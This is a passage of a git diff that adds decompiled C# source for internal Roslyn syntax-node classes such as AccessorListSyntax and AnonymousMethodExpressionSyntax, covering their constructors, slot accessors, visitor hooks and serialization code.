a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AccessorListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AccessorListSyntax.cs new file mode 100644 index 0000000..4f3f00a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AccessorListSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AccessorListSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken openBraceToken; + + internal readonly GreenNode? accessors; + + internal readonly SyntaxToken closeBraceToken; + + public SyntaxToken OpenBraceToken => openBraceToken; + + public SyntaxList Accessors => new SyntaxList(accessors); + + public SyntaxToken CloseBraceToken => closeBraceToken; + + internal AccessorListSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? accessors, SyntaxToken closeBraceToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (accessors != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(accessors); + this.accessors = accessors; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal AccessorListSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? accessors, SyntaxToken closeBraceToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (accessors != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(accessors); + this.accessors = accessors; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal AccessorListSyntax(SyntaxKind kind, SyntaxToken openBraceToken, GreenNode? accessors, SyntaxToken closeBraceToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (accessors != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(accessors); + this.accessors = accessors; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBraceToken, + 1 => accessors, + 2 => closeBraceToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAccessorList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAccessorList(this); + } + + public AccessorListSyntax Update(SyntaxToken openBraceToken, SyntaxList accessors, SyntaxToken closeBraceToken) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken != OpenBraceToken || accessors != Accessors || closeBraceToken != CloseBraceToken) + { + AccessorListSyntax accessorListSyntax = SyntaxFactory.AccessorList(openBraceToken, accessors, closeBraceToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + accessorListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(accessorListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + accessorListSyntax = GreenNodeExtensions.WithAnnotationsGreen(accessorListSyntax, (IEnumerable)annotations); + } + return accessorListSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AccessorListSyntax(base.Kind, openBraceToken, accessors, closeBraceToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AccessorListSyntax(base.Kind, openBraceToken, accessors, closeBraceToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AccessorListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBraceToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + accessors = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBraceToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)accessors); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + } + + static AccessorListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AccessorListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AccessorListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AliasQualifiedNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AliasQualifiedNameSyntax.cs new file mode 100644 index 0000000..690041b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AliasQualifiedNameSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AliasQualifiedNameSyntax : NameSyntax +{ + internal readonly IdentifierNameSyntax alias; + + internal readonly SyntaxToken colonColonToken; + + internal readonly SimpleNameSyntax name; + + public IdentifierNameSyntax Alias => alias; + + public SyntaxToken ColonColonToken => colonColonToken; + + public SimpleNameSyntax Name => name; + + internal AliasQualifiedNameSyntax(SyntaxKind kind, IdentifierNameSyntax alias, SyntaxToken colonColonToken, SimpleNameSyntax name, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alias); + this.alias = alias; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonColonToken); + this.colonColonToken = colonColonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal AliasQualifiedNameSyntax(SyntaxKind kind, IdentifierNameSyntax alias, SyntaxToken colonColonToken, SimpleNameSyntax name, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alias); + this.alias = alias; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonColonToken); + this.colonColonToken = colonColonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal AliasQualifiedNameSyntax(SyntaxKind kind, IdentifierNameSyntax alias, SyntaxToken colonColonToken, SimpleNameSyntax name) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alias); + this.alias = alias; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonColonToken); + this.colonColonToken = colonColonToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => alias, + 1 => colonColonToken, + 2 => name, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAliasQualifiedName(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAliasQualifiedName(this); + } + + public AliasQualifiedNameSyntax Update(IdentifierNameSyntax alias, SyntaxToken colonColonToken, SimpleNameSyntax name) + { + if (alias != Alias || colonColonToken != ColonColonToken || name != Name) + { + AliasQualifiedNameSyntax aliasQualifiedNameSyntax = SyntaxFactory.AliasQualifiedName(alias, colonColonToken, name); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + aliasQualifiedNameSyntax = GreenNodeExtensions.WithDiagnosticsGreen(aliasQualifiedNameSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + aliasQualifiedNameSyntax = GreenNodeExtensions.WithAnnotationsGreen(aliasQualifiedNameSyntax, (IEnumerable)annotations); + } + return aliasQualifiedNameSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AliasQualifiedNameSyntax(base.Kind, alias, colonColonToken, name, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AliasQualifiedNameSyntax(base.Kind, alias, colonColonToken, name, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AliasQualifiedNameSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifierNameSyntax); + alias = identifierNameSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + colonColonToken = syntaxToken; + SimpleNameSyntax simpleNameSyntax = (SimpleNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)simpleNameSyntax); + name = simpleNameSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)alias); + writer.WriteValue((IObjectWritable)(object)colonColonToken); + writer.WriteValue((IObjectWritable)(object)name); + } + + static AliasQualifiedNameSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AliasQualifiedNameSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AliasQualifiedNameSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousFunctionExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousFunctionExpressionSyntax.cs new file mode 100644 index 0000000..15326de --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousFunctionExpressionSyntax.cs @@ -0,0 +1,28 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class AnonymousFunctionExpressionSyntax : ExpressionSyntax +{ + public abstract SyntaxList Modifiers { get; } + + public abstract BlockSyntax? Block { get; } + + public abstract ExpressionSyntax? ExpressionBody { get; } + + internal AnonymousFunctionExpressionSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal AnonymousFunctionExpressionSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected AnonymousFunctionExpressionSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousMethodExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousMethodExpressionSyntax.cs new file mode 100644 index 0000000..fa159b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousMethodExpressionSyntax.cs @@ -0,0 +1,213 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AnonymousMethodExpressionSyntax : AnonymousFunctionExpressionSyntax +{ + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken delegateKeyword; + + internal readonly ParameterListSyntax? parameterList; + + internal readonly BlockSyntax block; + + internal readonly ExpressionSyntax? expressionBody; + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken DelegateKeyword => delegateKeyword; + + public ParameterListSyntax? ParameterList => parameterList; + + public override BlockSyntax Block => block; + + public override ExpressionSyntax? ExpressionBody => expressionBody; + + internal AnonymousMethodExpressionSyntax(SyntaxKind kind, GreenNode? modifiers, SyntaxToken delegateKeyword, ParameterListSyntax? parameterList, BlockSyntax block, ExpressionSyntax? expressionBody, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal AnonymousMethodExpressionSyntax(SyntaxKind kind, GreenNode? modifiers, SyntaxToken delegateKeyword, ParameterListSyntax? parameterList, BlockSyntax block, ExpressionSyntax? expressionBody, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal AnonymousMethodExpressionSyntax(SyntaxKind kind, GreenNode? modifiers, SyntaxToken delegateKeyword, ParameterListSyntax? parameterList, BlockSyntax block, ExpressionSyntax? expressionBody) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)delegateKeyword); + this.delegateKeyword = delegateKeyword; + if (parameterList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => modifiers, + 1 => delegateKeyword, + 2 => parameterList, + 3 => block, + 4 => expressionBody, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousMethodExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAnonymousMethodExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAnonymousMethodExpression(this); + } + + public AnonymousMethodExpressionSyntax Update(SyntaxList modifiers, SyntaxToken delegateKeyword, ParameterListSyntax parameterList, BlockSyntax block, ExpressionSyntax expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (modifiers != Modifiers || delegateKeyword != DelegateKeyword || parameterList != ParameterList || block != Block || expressionBody != ExpressionBody) + { + AnonymousMethodExpressionSyntax anonymousMethodExpressionSyntax = SyntaxFactory.AnonymousMethodExpression(modifiers, delegateKeyword, parameterList, block, expressionBody); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + anonymousMethodExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(anonymousMethodExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + anonymousMethodExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(anonymousMethodExpressionSyntax, (IEnumerable)annotations); + } + return anonymousMethodExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AnonymousMethodExpressionSyntax(base.Kind, modifiers, delegateKeyword, parameterList, block, expressionBody, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AnonymousMethodExpressionSyntax(base.Kind, modifiers, delegateKeyword, parameterList, block, expressionBody, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AnonymousMethodExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + modifiers = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + delegateKeyword = syntaxToken; + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + if (parameterListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + } + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + block = blockSyntax; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expressionBody = expressionSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)delegateKeyword); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)block); + writer.WriteValue((IObjectWritable)(object)expressionBody); + } + + static AnonymousMethodExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AnonymousMethodExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AnonymousMethodExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousObjectCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousObjectCreationExpressionSyntax.cs new file mode 100644 index 0000000..13d1bf5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousObjectCreationExpressionSyntax.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AnonymousObjectCreationExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken newKeyword; + + internal readonly SyntaxToken openBraceToken; + + internal readonly GreenNode? initializers; + + internal readonly SyntaxToken closeBraceToken; + + public SyntaxToken NewKeyword => newKeyword; + + public SyntaxToken OpenBraceToken => openBraceToken; + + public SeparatedSyntaxList Initializers => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(initializers))); + + public SyntaxToken CloseBraceToken => closeBraceToken; + + internal AnonymousObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openBraceToken, GreenNode? initializers, SyntaxToken closeBraceToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (initializers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(initializers); + this.initializers = initializers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal AnonymousObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openBraceToken, GreenNode? initializers, SyntaxToken closeBraceToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (initializers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(initializers); + this.initializers = initializers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal AnonymousObjectCreationExpressionSyntax(SyntaxKind kind, SyntaxToken newKeyword, SyntaxToken openBraceToken, GreenNode? initializers, SyntaxToken closeBraceToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)newKeyword); + this.newKeyword = newKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + if (initializers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(initializers); + this.initializers = initializers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => newKeyword, + 1 => openBraceToken, + 2 => initializers, + 3 => closeBraceToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectCreationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAnonymousObjectCreationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAnonymousObjectCreationExpression(this); + } + + public AnonymousObjectCreationExpressionSyntax Update(SyntaxToken newKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList initializers, SyntaxToken closeBraceToken) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword == NewKeyword && openBraceToken == OpenBraceToken) + { + SeparatedSyntaxList val = Initializers; + if (!((ref initializers) != (ref val)) && closeBraceToken == CloseBraceToken) + { + return this; + } + } + AnonymousObjectCreationExpressionSyntax anonymousObjectCreationExpressionSyntax = SyntaxFactory.AnonymousObjectCreationExpression(newKeyword, openBraceToken, initializers, closeBraceToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + anonymousObjectCreationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(anonymousObjectCreationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + anonymousObjectCreationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(anonymousObjectCreationExpressionSyntax, (IEnumerable)annotations); + } + return anonymousObjectCreationExpressionSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AnonymousObjectCreationExpressionSyntax(base.Kind, newKeyword, openBraceToken, initializers, closeBraceToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AnonymousObjectCreationExpressionSyntax(base.Kind, newKeyword, openBraceToken, initializers, closeBraceToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AnonymousObjectCreationExpressionSyntax(ObjectReader reader) + : base(reader) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + newKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openBraceToken = syntaxToken2; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + initializers = val; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeBraceToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)newKeyword); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)initializers); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + } + + static AnonymousObjectCreationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AnonymousObjectCreationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AnonymousObjectCreationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousObjectMemberDeclaratorSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousObjectMemberDeclaratorSyntax.cs new file mode 100644 index 0000000..23b4145 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AnonymousObjectMemberDeclaratorSyntax.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AnonymousObjectMemberDeclaratorSyntax : CSharpSyntaxNode +{ + internal readonly NameEqualsSyntax? nameEquals; + + internal readonly ExpressionSyntax expression; + + public NameEqualsSyntax? NameEquals => nameEquals; + + public ExpressionSyntax Expression => expression; + + internal AnonymousObjectMemberDeclaratorSyntax(SyntaxKind kind, NameEqualsSyntax? nameEquals, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + if (nameEquals != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEquals); + this.nameEquals = nameEquals; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal AnonymousObjectMemberDeclaratorSyntax(SyntaxKind kind, NameEqualsSyntax? nameEquals, ExpressionSyntax 